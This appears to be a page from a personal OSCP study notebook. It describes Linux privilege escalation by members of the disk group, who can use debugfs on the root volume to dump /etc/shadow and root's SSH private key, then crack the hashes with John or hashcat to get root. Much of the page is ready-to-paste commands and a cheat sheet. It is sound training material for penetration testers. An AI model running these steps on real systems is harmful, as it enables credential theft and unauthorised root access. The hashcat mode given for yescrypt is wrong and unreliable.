Pearson's OSCP Notebook

disk Group - debugfs Privilege Escalation

Properties1
tagsdisk, debugfs, shadow, groups, privesc, linux, hashcat, john, oscp

3 min read

disk Group — debugfs Privilege Escalation

Ctrl+F: disk · groups=6(disk) · debugfs · /etc/shadow · lsblk · LVM

External: Caramellia — Privilege Escalation via disk Group Membership

Why: Members of the disk group can read/write raw block devices (/dev/sda, LVM volumes). That bypasses file permissions — you’re reading bytes off the disk, not asking the OS for /etc/shadow.

Functionally similar to root for credential theft.

→ Linux · Hashcat · John · openssl passwd

📌 Detect

id
# uid=1001(user1) gid=1002(user1) groups=1002(user1),6(disk)
SignalMeaning
6(disk) in groupsCan access block devices
LinPEASFlags disk group membership

Also check:

grep disk /etc/group
ls -la /dev/sda* /dev/mapper/*

📌 Map the root filesystem device

Why: /etc/shadow lives on the mounted root volume — you need the logical volume path, not always the raw partition.

df -h /
lsblk

Example layout:

LayerDevice
Physical partition/dev/sda3 (LVM PV — not ext4 directly)
Logical volume (root /)/dev/mapper/ubuntu--vg-ubuntu--lv

Don’t use /dev/sda3 with debugfs if it’s an LVM physical volume — use the mapper device for the filesystem.

df -h /
# Filesystem: /dev/mapper/ubuntu--vg-ubuntu--lv  Mounted on: /
 
lsblk
# sda3 → LVM → ubuntu--vg-ubuntu--lv → /

📌 Exploit — read /etc/shadow with debugfs

Why it works: debugfs opens the filesystem on the block device directly. Normal DACL on /etc/shadow doesn’t apply — you’re reading inode data from disk.

debugfs -R "cat /etc/shadow" /dev/mapper/ubuntu--vg-ubuntu--lv

Replace device with your root LV from df / lsblk.

One-liner copy/paste template

# 1. Confirm disk group
id | grep disk
 
# 2. Find root device
df -h / | tail -1
lsblk
 
# 3. Dump shadow (edit DEVICE)
debugfs -R "cat /etc/shadow" /dev/mapper/ubuntu--vg-ubuntu--lv
 
# 4. Save hashes locally for cracking
debugfs -R "cat /etc/shadow" /dev/mapper/ubuntu--vg-ubuntu--lv > shadow.dump

Other useful debugfs reads

debugfs -R "cat /etc/passwd" /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs -R "cat /root/.ssh/id_rsa" /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs -R "ls /root" /dev/mapper/ubuntu--vg-ubuntu--lv

📌 Crack hashes → root login

Output includes lines like:

root:$y$j9T$ioY29pBP5az...:...
user1:$y$j9T$7nSG6b8CaH...:...

Format for cracking:

# Save shadow lines to file
debugfs -R "cat /etc/shadow" /dev/mapper/ubuntu--vg-ubuntu--lv > shadow.dump
 
# John
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.dump
 
# Hashcat — identify hash type first
hashid -m 'HASH_FROM_SHADOW'
hashcat -m MODE shadow.dump /usr/share/wordlists/rockyou.txt
Hash prefixTypical mode
$6$sha512crypt → -m 1800
$y$yescrypt → -m 1800 or john
$1$md5crypt → -m 500

→ Hashcat · John · Manual Hash Generation

# Login as root after crack
su -
# or SSH if root login enabled

📌 Write abuse (advanced)

Disk group = write to block device too → can corrupt or modify filesystem offline (dangerous). OSCP path is usually read shadow → crack → su.

📌 Troubleshooting

ProblemFix
debugfs: Bad magic numberWrong device — use mapper LV, not LVM PV partition
Permission denied on /dev/mapper/...Not in disk group — recheck id
Empty outputQuote path: "cat /etc/shadow"
yescrypt $y$ won’t crack in hashcatTry John

📌 Quick cheat sheet

id                                    # look for 6(disk)
df -h / && lsblk                      # find root LV
debugfs -R "cat /etc/shadow" /dev/mapper/ubuntu--vg-ubuntu--lv
john --wordlist=rockyou.txt shadow.dump
su -

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks